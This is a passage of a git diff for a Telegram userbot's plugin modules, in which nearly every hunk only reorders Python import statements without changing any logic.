fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern="mashup ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/mask.py b/virtualuserbot/modules/mask.py index 42c4d6ef..be1c251a 100644 --- a/virtualuserbot/modules/mask.py +++ b/virtualuserbot/modules/mask.py @@ -1,9 +1,8 @@ +from fridaybot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd("mask ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py index efc7e104..c04dc046 100644 --- a/virtualuserbot/modules/mediadata.py +++ b/virtualuserbot/modules/mediadata.py @@ -6,11 +6,10 @@ import shlex from typing import Tuple -from telegraph import Telegraph - from fridaybot import CMD_HELP from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd +from telegraph import Telegraph telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") diff --git a/virtualuserbot/modules/memes.py b/virtualuserbot/modules/memes.py index 0ba5f5e9..286bf50f 100644 --- a/virtualuserbot/modules/memes.py +++ b/virtualuserbot/modules/memes.py @@ -18,14 +18,13 @@ import requests from cowpy import cow +from fridaybot import CMD_HELP +from fridaybot.utils import register from telethon import events from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP -from fridaybot.utils import register - # ================= CONSTANT ================= RENDISTR = [ "`I Know Uh ez Rendi Bhay Dont show Your Randi Pesa Here`", diff --git a/virtualuserbot/modules/memify.py b/virtualuserbot/modules/memify.py index c4401fd3..02c84156 100644 --- a/virtualuserbot/modules/memify.py +++ b/virtualuserbot/modules/memify.py @@ -5,12 +5,11 @@ import asyncio +from fridaybot import CMD_HELP from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/mf.py b/virtualuserbot/modules/mf.py index 2b052469..3bcb173e 100644 --- a/virtualuserbot/modules/mf.py +++ b/virtualuserbot/modules/mf.py @@ -1,9 +1,8 @@ import sys -from telethon import __version__, functions - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon import __version__, functions @friday.on(friday_on_cmd(pattern="mf ?(.*)", allow_sudo=True)) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/mmf.py b/virtualuserbot/modules/mmf.py index d841a1d2..d8d67330 100644 --- a/virtualuserbot/modules/mmf.py +++ b/virtualuserbot/modules/mmf.py @@ -14,11 +14,10 @@ import os import textwrap +from fridaybot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import MessageMediaPhoto -from fridaybot.utils import friday_on_cmd - sedpath = Config.TMP_DOWNLOAD_DIRECTORY diff --git a/virtualuserbot/modules/movie_recomendation.py b/virtualuserbot/modules/movie_recomendation.py index aaa88123..3e9259ee 100644 --- a/virtualuserbot/modules/movie_recomendation.py +++ b/virtualuserbot/modules/movie_recomendation.py @@ -2,7 +2,6 @@ import requests as HTTP from bs4 import BeautifulSoup as SOUP - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/mtn.py b/virtualuserbot/modules/mtn.py index 046d97f4..f370fd16 100644 --- a/virtualuserbot/modules/mtn.py +++ b/virtualuserbot/modules/mtn.py @@ -7,9 +7,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/musicdl.py b/virtualuserbot/modules/musicdl.py index cfebaf63..06e3c13e 100644 --- a/virtualuserbot/modules/musicdl.py +++ b/virtualuserbot/modules/musicdl.py @@ -1,15 +1,14 @@ """ Spotify / Deezer downloader plugin by @anubisxx | Syntax: .sdd link""" import asyncio +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, ) from telethon.tl.functions.messages import ImportChatInviteRequest -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd - @friday.on(friday_on_cmd("sdd ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/muth.py b/virtualuserbot/modules/muth.py index 53556409..05739ae2 100644 --- a/virtualuserbot/modules/muth.py +++ b/virtualuserbot/modules/muth.py @@ -4,9 +4,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/nakal.py b/virtualuserbot/modules/nakal.py index 435e889f..0a5c954d 100644 --- a/virtualuserbot/modules/nakal.py +++ b/virtualuserbot/modules/nakal.py @@ -12,9 +12,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/nekobot.py b/virtualuserbot/modules/nekobot.py index fdd9465f..2242142c 100644 --- a/virtualuserbot/modules/nekobot.py +++ b/virtualuserbot/modules/nekobot.py @@ -3,9 +3,8 @@ # Official Web : nekobot.xyz # "Copy It As You Want But Don't Edit Credits" import requests -from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("ttt ?(.*)")) diff --git a/virtualuserbot/modules/news.py b/virtualuserbot/modules/news.py index 5c6641a9..d5126943 100644 --- a/virtualuserbot/modules/news.py +++ b/virtualuserbot/modules/news.py @@ -4,9 +4,9 @@ # Test import requests - from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + from var import Var newslog = Var.NEWS_CHANNEL_ID diff --git a/virtualuserbot/modules/nsfw.py b/virtualuserbot/modules/nsfw.py index a5ef7673..2a121300 100644 --- a/virtualuserbot/modules/nsfw.py +++ b/virtualuserbot/modules/nsfw.py @@ -13,13 +13,12 @@ import os import requests +from fridaybot import CMD_HELP, pro +from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd from pornhub_api import PornhubApi from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP, pro -from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd - if pro == "True": @friday.on(friday_on_cmd(pattern=r"nsfw")) diff --git a/virtualuserbot/modules/nsfwdetect.py b/virtualuserbot/modules/nsfwdetect.py index 530d1883..71efb7f2 100644 --- a/virtualuserbot/modules/nsfwdetect.py +++ b/virtualuserbot/modules/nsfwdetect.py @@ -4,7 +4,6 @@ import os import requests - from fridaybot import CMD_HELP from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/ocr.py b/virtualuserbot/modules/ocr.py index 38c609aa..6c1786c0 100644 --- a/virtualuserbot/modules/ocr.py +++ b/virtualuserbot/modules/ocr.py @@ -6,7 +6,6 @@ import os import requests - from fridaybot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot from fridaybot.utils import register diff --git a/virtualuserbot/modules/os.py b/virtualuserbot/modules/os.py index e894a70f..bb0a42cf 100644 --- a/virtualuserbot/modules/os.py +++ b/virtualuserbot/modules/os.py @@ -12,9 +12,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index 4b6363fb..e2c7e69c 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -9,13 +9,12 @@ from datetime import datetime import requests -from pytz import country_names as c_n -from pytz import country_timezones as c_tz -from pytz import timezone as tz - from fridaybot import CMD_HELP from fridaybot import OPEN_WEATHER_MAP_APPID as OWM_API from fridaybot.events import errors_handler, register +from pytz import country_names as c_n +from pytz import country_timezones as c_tz +from pytz import timezone as tz # ===== CONSTANT ===== DEFCITY = "Ahmedabad" diff --git a/virtualuserbot/modules/padmin.py b/virtualuserbot/modules/padmin.py index 55ea9f9a..b6e1ce49 100644 --- a/virtualuserbot/modules/padmin.py +++ b/virtualuserbot/modules/padmin.py @@ -6,9 +6,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/password_tools.py b/virtualuserbot/modules/password_tools.py index dd16122d..5d8d8874 100644 --- a/virtualuserbot/modules/password_tools.py +++ b/virtualuserbot/modules/password_tools.py @@ -15,11 +15,10 @@ import secrets from random import * -from password_strength import PasswordStats -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from password_strength import PasswordStats +from uniborg.util import friday_on_cmd @friday.on(admin_cmd(pattern="passcheck (.*)")) diff --git a/virtualuserbot/modules/paste.py b/virtualuserbot/modules/paste.py index b76b22fb..047b92e7 100644 --- a/virtualuserbot/modules/paste.py +++ b/virtualuserbot/modules/paste.py @@ -6,9 +6,8 @@ from datetime import datetime import requests -from uniborg.util import friday_on_cmd, sudo_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd, sudo_cmd logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING diff --git a/virtualuserbot/modules/pdf2docx.py b/virtualuserbot/modules/pdf2docx.py index 2fe77d65..c4d2f1f3 100644 --- a/virtualuserbot/modules/pdf2docx.py +++ b/virtualuserbot/modules/pdf2docx.py @@ -1,9 +1,8 @@ import os -from pdf2docx import parse - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from pdf2docx import parse if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) diff --git a/virtualuserbot/modules/pin_message.py b/virtualuserbot/modules/pin_message.py index 0f00e21c..13cb2a64 100644 --- a/virtualuserbot/modules/pin_message.py +++ b/virtualuserbot/modules/pin_message.py @@ -1,9 +1,8 @@ """Pins the replied message Syntax: .cpin [LOUD]""" -from telethon.tl import functions - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl import functions @friday.on(friday_on_cmd("cpin ?(.*)")) diff --git a/virtualuserbot/modules/plane.py b/virtualuserbot/modules/plane.py index 0d528b25..e188c468 100644 --- a/virtualuserbot/modules/plane.py +++ b/virtualuserbot/modules/plane.py @@ -1,9 +1,8 @@ # By STARKTM1 import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.plane", outgoing=True)) diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index 34d20c34..4628fe80 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -2,12 +2,11 @@ import io import os -from telethon import events, functions -from telethon.tl.functions.users import GetFullUserRequest - from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT, lang from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd +from telethon import events, functions +from telethon.tl.functions.users import GetFullUserRequest from .sql_helper import pmpermit_sql as pmpermit_sql diff --git a/virtualuserbot/modules/pokedex.py b/virtualuserbot/modules/pokedex.py index 51ad22cb..f7ba7122 100644 --- a/virtualuserbot/modules/pokedex.py +++ b/virtualuserbot/modules/pokedex.py @@ -11,10 +11,9 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -from pokedex import pokedex - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from pokedex import pokedex @friday.on(admin_cmd(pattern="pokedex (.*)")) diff --git a/virtualuserbot/modules/police.py b/virtualuserbot/modules/police.py index 56ae3ce5..37805065 100644 --- a/virtualuserbot/modules/police.py +++ b/virtualuserbot/modules/police.py @@ -1,8 +1,7 @@ import asyncio -from uniborg.util import friday_on_cmd - from fridaybot import ALIVE_NAME, CMD_HELP +from uniborg.util import friday_on_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Friday Userbot" diff --git a/virtualuserbot/modules/privatewelcome.py b/virtualuserbot/modules/privatewelcome.py index abb891c3..f8f6f652 100644 --- a/virtualuserbot/modules/privatewelcome.py +++ b/virtualuserbot/modules/privatewelcome.py @@ -1,6 +1,5 @@ -from telethon import events - from fridaybot import BOTLOG_CHATID, CMD_HELP, bot, pro +from telethon import events from ..utils import admin_cmd, edit_or_reply, sudo_cmd from .sql_helper import pmpermit_sql as pmpermit_sql diff --git a/virtualuserbot/modules/profile.py b/virtualuserbot/modules/profile.py index 1d096f0e..822323a5 100644 --- a/virtualuserbot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -4,11 +4,10 @@ .ppic""" import os +from fridaybot import CMD_HELP from telethon.tl import functions from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd(pattern="pbio (.*)")) # pylint:disable=E0602 async def _(event): diff --git a/virtualuserbot/modules/programmer_jokes.py b/virtualuserbot/modules/programmer_jokes.py index f7fa4fe2..b313f4b9 100644 --- a/virtualuserbot/modules/programmer_jokes.py +++ b/virtualuserbot/modules/programmer_jokes.py @@ -12,10 +12,9 @@ # along with this program. If not, see . import pyjokes -from howdoi import howdoi - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from howdoi import howdoi @friday.on(friday_on_cmd(pattern=r"pjoke")) diff --git a/virtualuserbot/modules/proxyscrape.py b/virtualuserbot/modules/proxyscrape.py index 7eecf216..73c47b21 100644 --- a/virtualuserbot/modules/proxyscrape.py +++ b/virtualuserbot/modules/proxyscrape.py @@ -6,10 +6,9 @@ import os -from pySmartDL import SmartDL - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd, sudo_cmd +from pySmartDL import SmartDL STARK_HTTP = "https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all" HTTP_TXT = "**Proxy Info** \nType: __HTTPS__ \nTimeOut: __10000__ \nCountry: __All__ \nSsl: All \nAnonymity: __All__ \n[Click Here To View Or Download File Manually](https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all) \nUploaded By [Friday](https://github.com/starkgang/FridayUserBot) \n**Here Is Your Proxy** 👇" diff --git a/virtualuserbot/modules/purge.py b/virtualuserbot/modules/purge.py index f247d186..5aa9c006 100644 --- a/virtualuserbot/modules/purge.py +++ b/virtualuserbot/modules/purge.py @@ -7,10 +7,9 @@ from asyncio import sleep -from telethon.errors import rpcbaseerrors - from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP from fridaybot.utils import errors_handler, register +from telethon.errors import rpcbaseerrors @register(outgoing=True, pattern="^.purge$") diff --git a/virtualuserbot/modules/pyocr.py b/virtualuserbot/modules/pyocr.py index 29e66e70..45643f97 100644 --- a/virtualuserbot/modules/pyocr.py +++ b/virtualuserbot/modules/pyocr.py @@ -6,7 +6,6 @@ import os import pytesseract - from fridaybot import CMD_HELP from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/qr_code.py b/virtualuserbot/modules/qr_code.py index 9de03acd..96e65c6a 100644 --- a/virtualuserbot/modules/qr_code.py +++ b/virtualuserbot/modules/qr_code.py @@ -8,9 +8,8 @@ import qrcode from bs4 import BeautifulSoup -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd def progress(current, total): diff --git a/virtualuserbot/modules/quickheal.py b/virtualuserbot/modules/quickheal.py index ea7d01f7..9ace9bec 100644 --- a/virtualuserbot/modules/quickheal.py +++ b/virtualuserbot/modules/quickheal.py @@ -7,9 +7,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/quote.py b/virtualuserbot/modules/quote.py index aad5fe22..14314623 100644 --- a/virtualuserbot/modules/quote.py +++ b/virtualuserbot/modules/quote.py @@ -12,10 +12,9 @@ # along with this program. If not, see . -from quote import quote - from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd +from quote import quote @friday.on(admin_cmd(pattern="qs (.*)")) diff --git a/virtualuserbot/modules/quotes.py b/virtualuserbot/modules/quotes.py index 573559ff..0ffffce7 100644 --- a/virtualuserbot/modules/quotes.py +++ b/virtualuserbot/modules/quotes.py @@ -1,9 +1,8 @@ import random import requests -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern="quote ?(.*)")) diff --git a/virtualuserbot/modules/quotly.py b/virtualuserbot/modules/quotly.py index 51fa71e6..0b52cd33 100644 --- a/virtualuserbot/modules/quotly.py +++ b/virtualuserbot/modules/quotly.py @@ -21,14 +21,13 @@ import emoji from fontTools.ttLib import TTFont +from fridaybot import CMD_HELP, bot +from fridaybot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl import functions, types -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd - COLORS = [ "#F07975", "#F49F69", diff --git a/virtualuserbot/modules/rain.py b/virtualuserbot/modules/rain.py index 82383594..80a5a97b 100644 --- a/virtualuserbot/modules/rain.py +++ b/virtualuserbot/modules/rain.py @@ -2,9 +2,8 @@ import asyncio from collections import deque -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.rain", outgoing=True)) diff --git a/virtualuserbot/modules/react.py b/virtualuserbot/modules/react.py index ebe9563d..120d1c3b 100644 --- a/virtualuserbot/modules/react.py +++ b/virtualuserbot/modules/react.py @@ -4,9 +4,8 @@ import random -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.react (.*)", outgoing=True)) diff --git a/virtualuserbot/modules/reminder.py b/virtualuserbot/modules/reminder.py index 45f46c4b..3219ce96 100644 --- a/virtualuserbot/modules/reminder.py +++ b/virtualuserbot/modules/reminder.py @@ -3,11 +3,10 @@ import asyncio +from fridaybot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot import CMD_HELP - from ..utils import admin_cmd diff --git a/virtualuserbot/modules/remove.bg.py b/virtualuserbot/modules/remove.bg.py index 0a016c1e..f446a2cb 100644 --- a/virtualuserbot/modules/remove.bg.py +++ b/virtualuserbot/modules/remove.bg.py @@ -20,7 +20,6 @@ from datetime import datetime import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/rename.py b/virtualuserbot/modules/rename.py index 546a00f9..2f955bc1 100644 --- a/virtualuserbot/modules/rename.py +++ b/virtualuserbot/modules/rename.py @@ -7,9 +7,8 @@ import time from datetime import datetime -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/reverse.py b/virtualuserbot/modules/reverse.py index 74121989..cf29e9c5 100644 --- a/virtualuserbot/modules/reverse.py +++ b/virtualuserbot/modules/reverse.py @@ -11,10 +11,9 @@ import requests from bs4 import BeautifulSoup -from PIL import Image - from fridaybot import CMD_HELP, bot from fridaybot.utils import errors_handler, friday_on_cmd +from PIL import Image opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index 04a7b9c1..a54ea60e 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -14,10 +14,9 @@ import requests from bs4 import BeautifulSoup -from PIL import Image - from fridaybot import CMD_HELP, bot from fridaybot.utils import errors_handler, register +from PIL import Image opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" diff --git a/virtualuserbot/modules/sangmata.py b/virtualuserbot/modules/sangmata.py index f861a652..22704dcf 100644 --- a/virtualuserbot/modules/sangmata.py +++ b/virtualuserbot/modules/sangmata.py @@ -1,9 +1,8 @@ +from fridaybot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP - @friday.on(friday_on_cmd("sg ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/screencapture.py b/virtualuserbot/modules/screencapture.py index 18195eb1..0e1e592d 100644 --- a/virtualuserbot/modules/screencapture.py +++ b/virtualuserbot/modules/screencapture.py @@ -4,7 +4,6 @@ import io import requests - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/screenlong.py b/virtualuserbot/modules/screenlong.py index ae0c72ab..22036f0d 100644 --- a/virtualuserbot/modules/screenlong.py +++ b/virtualuserbot/modules/screenlong.py @@ -5,10 +5,9 @@ import traceback from datetime import datetime -from selenium import webdriver - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from selenium import webdriver @friday.on(friday_on_cmd("screenlong (.*)")) diff --git a/virtualuserbot/modules/screenshot.py b/virtualuserbot/modules/screenshot.py index a562dda9..53e20f81 100644 --- a/virtualuserbot/modules/screenshot.py +++ b/virtualuserbot/modules/screenshot.py @@ -7,11 +7,10 @@ from datetime import datetime import requests +from fridaybot import CMD_HELP from selenium import webdriver from validators.url import url -from fridaybot import CMD_HELP - from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/shout.py b/virtualuserbot/modules/shout.py index 2782d02a..4deff41b 100644 --- a/virtualuserbot/modules/shout.py +++ b/virtualuserbot/modules/shout.py @@ -3,9 +3,8 @@ originaly from : @corsicanu_bot """ -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.shout", outgoing=True)) diff --git a/virtualuserbot/modules/sizeresize.py b/virtualuserbot/modules/sizeresize.py index 949d0511..30cf8d17 100644 --- a/virtualuserbot/modules/sizeresize.py +++ b/virtualuserbot/modules/sizeresize.py @@ -1,7 +1,6 @@ import os import PIL - from fridaybot import bot from fridaybot import bot as borg from fridaybot.utils import admin_cmd diff --git a/virtualuserbot/modules/slap.py b/virtualuserbot/modules/slap.py index e4622b7a..05921e6c 100644 --- a/virtualuserbot/modules/slap.py +++ b/virtualuserbot/modules/slap.py @@ -6,12 +6,11 @@ import random +from fridaybot import ALIVE_NAME, CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd -from fridaybot import ALIVE_NAME, CMD_HELP - SLAP_TEMPLATES = [ "{user1} {hits} {user2} with a {item}.", "{user1} {hits} {user2} in the face with a {item}.", diff --git a/virtualuserbot/modules/snake.py b/virtualuserbot/modules/snake.py index 62a44462..1340fc56 100644 --- a/virtualuserbot/modules/snake.py +++ b/virtualuserbot/modules/snake.py @@ -12,9 +12,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/snip.py b/virtualuserbot/modules/snip.py index 36f95155..0beffbf8 100644 --- a/virtualuserbot/modules/snip.py +++ b/virtualuserbot/modules/snip.py @@ -6,9 +6,6 @@ .snips .snipl .snipd""" -from telethon import events, utils -from telethon.tl import types - from fridaybot import CMD_HELP from fridaybot.modules.sql_helper.snips_sql import ( add_snip, @@ -17,6 +14,8 @@ remove_snip, ) from fridaybot.utils import friday_on_cmd +from telethon import events, utils +from telethon.tl import types TYPE_TEXT = 0 TYPE_PHOTO = 1 diff --git a/virtualuserbot/modules/solarsystem.py b/virtualuserbot/modules/solarsystem.py index 3d58cf65..d41deb72 100644 --- a/virtualuserbot/modules/solarsystem.py +++ b/virtualuserbot/modules/solarsystem.py @@ -7,9 +7,8 @@ import asyncio -from telethon import events - from fridaybot import CMD_HELP +from telethon import events @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/something.py b/virtualuserbot/modules/something.py index 3ddc3199..f3a4509c 100644 --- a/virtualuserbot/modules/something.py +++ b/virtualuserbot/modules/something.py @@ -1,8 +1,7 @@ """ Whatever Plugin by Noobs of Telegram i.e. @pureindialover """ -from uniborg.util import friday_on_cmd - from fridaybot import CMD_HELP +from uniborg.util import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"lmoon")) diff --git a/virtualuserbot/modules/song.py b/virtualuserbot/modules/song.py index f3e9a7ad..85fc57da 100644 --- a/virtualuserbot/modules/song.py +++ b/virtualuserbot/modules/song.py @@ -1,9 +1,8 @@ import asyncio -from telethon.errors.rpcerrorlist import YouBlockedUserError - from fridaybot import CMD_HELP, bot from fridaybot.utils import friday_on_cmd +from telethon.errors.rpcerrorlist import YouBlockedUserError @friday.on(friday_on_cmd(pattern="netease ?(.*)")) diff --git a/virtualuserbot/modules/songs.py b/virtualuserbot/modules/songs.py index 7fa31547..97ba41a5 100644 --- a/virtualuserbot/modules/songs.py +++ b/virtualuserbot/modules/songs.py @@ -8,6 +8,7 @@ import os import re +from fridaybot import CMD_HELP, bot from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, @@ -15,8 +16,6 @@ from telethon.tl.functions.messages import ImportChatInviteRequest from telethon.tl.types import InputMessagesFilterMusic -from fridaybot import CMD_HELP, bot - from ..utils import admin_cmd try: diff --git a/virtualuserbot/modules/spacedp.py b/virtualuserbot/modules/spacedp.py index 28cc5750..88ee9919 100644 --- a/virtualuserbot/modules/spacedp.py +++ b/virtualuserbot/modules/spacedp.py @@ -5,10 +5,9 @@ import urllib import requests -from telethon.tl import functions - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd +from telethon.tl import functions # Space lovers COLLECTION_STRINGS = [ diff --git a/virtualuserbot/modules/spam.py b/virtualuserbot/modules/spam.py index 9debebb6..a4d38e54 100644 --- a/virtualuserbot/modules/spam.py +++ b/virtualuserbot/modules/spam.py @@ -3,14 +3,13 @@ # included both cas(combot antispam service) and spamwatch (need to add more feaututres) import spamwatch +from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS +from fridaybot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned from requests import get from telethon import events from telethon.errors import ChatAdminRequiredError from telethon.tl.types import ChannelParticipantsAdmins -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP, LOGS -from fridaybot.modules.sql_helper.gban_sql_helper import get_gbanuser, is_gbanned - from ..utils import admin_cmd, edit_or_reply, is_admin, sudo_cmd if Config.ANTISPAMBOT_BAN: diff --git a/virtualuserbot/modules/speedtest.py b/virtualuserbot/modules/speedtest.py index 8948ddce..32d8cbd7 100644 --- a/virtualuserbot/modules/speedtest.py +++ b/virtualuserbot/modules/speedtest.py @@ -4,7 +4,6 @@ from datetime import datetime import speedtest - from fridaybot import CMD_HELP from fridaybot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/sql_helper/PostAppender_sql.py b/virtualuserbot/modules/sql_helper/PostAppender_sql.py index 3c15abfa..16f07e0a 100644 --- a/virtualuserbot/modules/sql_helper/PostAppender_sql.py +++ b/virtualuserbot/modules/sql_helper/PostAppender_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Boolean, Column, String, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Boolean, Column, String, UnicodeText class Pa(BASE): diff --git a/virtualuserbot/modules/sql_helper/blacklist_sql.py b/virtualuserbot/modules/sql_helper/blacklist_sql.py index c32d3923..b27faf93 100644 --- a/virtualuserbot/modules/sql_helper/blacklist_sql.py +++ b/virtualuserbot/modules/sql_helper/blacklist_sql.py @@ -1,8 +1,7 @@ import threading -from sqlalchemy import Column, String, UnicodeText, distinct, func - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, String, UnicodeText, distinct, func class BlackListFilters(BASE): diff --git a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py index 383af5a9..00f21157 100644 --- a/virtualuserbot/modules/sql_helper/channel_sticker_sql.py +++ b/virtualuserbot/modules/sql_helper/channel_sticker_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, String, UnicodeText - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, String, UnicodeText class Cst(BASE): diff --git a/virtualuserbot/modules/sql_helper/echo_sql.py b/virtualuserbot/modules/sql_helper/echo_sql.py index 0ca5deb6..bf9ac48c 100644 --- a/virtualuserbot/modules/sql_helper/echo_sql.py +++ b/virtualuserbot/modules/sql_helper/echo_sql.py @@ -1,6 +1,5 @@ -from sqlalchemy import Column, String - from fridaybot.modules.sql_helper import BASE, SESSION +from sqlalchemy import Column, String class ECHOSQL(BASE): diff --git a/virtualuserbot/modules/sql_helper/feds_sql.py b/virtualuserbot/modules/sql_helper/feds_sql.py index 3553d926..e08f3a19 100644 --- a/virtualuserbot/modules/sql_helper/feds_sql.py +++ 